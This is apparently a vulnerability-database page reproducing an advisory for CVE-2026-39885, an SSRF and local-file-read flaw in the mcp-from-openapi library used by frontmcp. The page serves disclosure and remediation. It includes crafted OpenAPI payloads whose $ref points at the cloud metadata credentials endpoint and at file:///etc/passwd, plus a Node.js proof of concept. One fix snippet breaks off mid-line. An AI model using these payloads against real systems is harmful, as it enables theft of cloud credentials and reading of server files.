🛡️ CVE-2026-39885 — frontmcp

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-918 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

mcp-from-openapi is Vulnerable to SSRF via $ref Dereferencing in Untrusted OpenAPI Specifications

Summary

The mcp-from-openapi library uses @apidevtools/json-schema-ref-parser to dereference $ref pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing $ref values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the initialize() call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.

Affected Versions

<= 2.1.2 (latest)

CWE

CWE-918: Server-Side Request Forgery (SSRF)

Vulnerability Details

File: index.js lines 870-875

When OpenAPIToolGenerator.initialize() is called, it dereferences the OpenAPI document using json-schema-ref-parser:

```javascript

this.dereferencedDocument = await import_json_schema_ref_parser.default.dereference(

JSON.parse(JSON.stringify(this.document))

);

```

No options are passed to .dereference() — no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in $ref values, including:

  • http:// and https:// URLs (internal services, cloud metadata)
  • file:// URLs (local filesystem)

This is the default behavior of json-schema-ref-parser — it resolves all $ref pointers by fetching the referenced resource.

Exploitation

Attack 1: SSRF to internal services / cloud metadata

A malicious OpenAPI spec containing:

```json

{

"openapi": "3.0.0",

"info": { "title": "Evil API", "version": "1.0" },

"paths": {

"/test": {

"get": {

"operationId": "getTest",

"summary": "test",

"responses": {

"200": {

"description": "OK",

"content": {

"application/json": {

"schema": {

"$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

}

}

}

}

}

}

}

}

}

```

When processed by OpenAPIToolGenerator, the library fetches http://169.254.169.254/latest/meta-data/iam/security-credentials/ from the server, potentially leaking AWS IAM credentials.

Attack 2: Local file read

```json

{

"$ref": "file:///etc/passwd"

}

```

The ref parser reads local files and includes their contents in the dereferenced output.

Proof of Concept

```javascript

const http = require('http');

const { OpenAPIToolGenerator } = require('mcp-from-openapi');

// Start attacker server to prove SSRF

const srv = http.createServer((req, res) => {

console.log(SSRF HIT: ${req.method} ${req.url});

res.writeHead(200, {'Content-Type': 'application/json'});

res.end('{"type":"string"}');

});

srv.listen(9997, async () => {

const spec = {

openapi: '3.0.0',

info: { title: 'Evil', version: '1.0' },

paths: {

'/test': {

get: {

operationId: 'getTest',

summary: 'test',

responses: {

'200': {

description: 'OK',

content: {

'application/json': {

schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' }

}

}

}

}

}

}

}

};

const gen = new OpenAPIToolGenerator(spec, { validate: false });

await gen.initialize();

// Output: "SSRF HIT: GET /ssrf-proof"

// The library fetched our attacker URL during $ref dereferencing.

srv.close();

});

```

Tested and confirmed on mcp-from-openapi v2.1.2. The attacker server receives the GET request during initialize().

Impact

  • Cloud credential theft$ref pointing to http://169.254.169.254/ steals AWS/GCP/Azure metadata
  • Internal network scanning$ref values can probe internal services and ports
  • Local file readfile:// protocol reads arbitrary files from the server filesystem
  • No privileges required — attacker only needs to provide a crafted OpenAPI spec to any application using this library

Suggested Fix

Pass resolver options to dereference() that restrict which protocols and hosts are allowed:

```javascript

this.dereferencedDocument = await $RefParser.dereference(

JSON.parse(JSON.stringify(this.document)),

{

resolve: {

file: false, // Disable file:// protocol

http: {

// Only allow same-origin or explicitly allowed hosts

headers: this.options.headers,

timeout: this.options.timeout,

}

}

}

);

```

Or disable all external resolution and require all schemas to be inline:

```javascript

this.dereferencedDocument = await $RefPa

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.

Weakness class

CVE-2026-39885 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2026-39885 is recorded against 6 packages.

  • @frontmcp/adapters
  • @frontmcp/sdk
  • \@frontmcp\/adapters (fixed in 1.0.4)
  • \@frontmcp\/sdk (fixed in 1.0.4)
  • frontmcp (fixed in 1.0.4)
  • mcp-from-openapi

Timeline and source

Published on 8 April 2026 and last revised on 9 April 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE CWE-918
Public Exploit ✅ No
Source NVD
Published 2026-04-08
Updated 2026-08-12
Modified 2026-04-09
Fix URL N/A

Affected Packages

Software From version Fixed in
@frontmcp/adapters
@frontmcp/sdk
\@frontmcp\/adapters 1.0.4
\@frontmcp\/sdk 1.0.4
frontmcp 1.0.4
mcp-from-openapi

Similar Threats

Site Security Check

Is frontmcp part of your stack?

CVE-2026-39885 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.